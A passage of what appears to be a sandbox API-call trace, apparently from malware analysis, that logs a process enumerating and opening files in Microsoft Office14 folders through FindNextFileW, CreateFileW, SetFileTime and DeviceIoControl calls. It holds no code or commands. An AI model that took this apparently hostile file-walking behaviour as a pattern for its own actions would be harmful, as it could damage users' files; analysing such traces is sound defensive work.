nFileSizeLow=0x40188, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4f88 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4368 [0078.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.215] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44d2300, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe44d2300, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3cd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4fa8 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4470 [0078.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.215] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828cb900, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x828cb900, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3b9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="")) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4fc8 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4578 [0078.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd7dc00, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd7dc00, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x4033d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4fe8 [0078.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4680 [0078.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.217] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a982900, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x56263450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a982900, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x3ee6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="")) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5008 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4788 [0078.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.217] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2f9800, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e2f9800, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x49051, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLA.XSL", cAlternateFileName="")) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5028 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4890 [0078.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.218] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb63100, ftCreationTime.dwHighDateTime=0x1c6da3c, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2fb63100, ftLastWriteTime.dwHighDateTime=0x1c6da3c, nFileSizeHigh=0x0, nFileSizeLow=0x3bd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5048 [0078.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4998 [0078.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.218] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0078.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5068 [0078.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4aa0 [0078.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.219] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0078.219] GetLastError () returned 0x12 [0078.219] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.219] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.219] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.219] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0078.219] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a63000, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24a63000, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x5282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ddce00, ftCreationTime.dwHighDateTime=0x1c93006, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25ddce00, ftLastWriteTime.dwHighDateTime=0x1c93006, nFileSizeHigh=0x0, nFileSizeLow=0x40188, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44d2300, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe44d2300, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3cd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828cb900, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x828cb900, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3b9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd7dc00, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd7dc00, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x4033d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a982900, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x56263450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a982900, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x3ee6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2f9800, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e2f9800, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x49051, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLA.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb63100, ftCreationTime.dwHighDateTime=0x1c6da3c, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2fb63100, ftLastWriteTime.dwHighDateTime=0x1c6da3c, nFileSizeHigh=0x0, nFileSizeLow=0x3bd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0078.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0078.220] GetLastError () returned 0x12 [0078.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.220] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b3c30) returned 1 [0078.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.221] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0078.221] GetLastError () returned 0x12 [0078.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.221] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.221] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0078.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.222] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0078.222] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0078.222] NtClose (Handle=0x170) returned 0x0 [0078.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.226] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.226] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0078.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5088 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab50a8 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab81b0 [0078.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0078.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 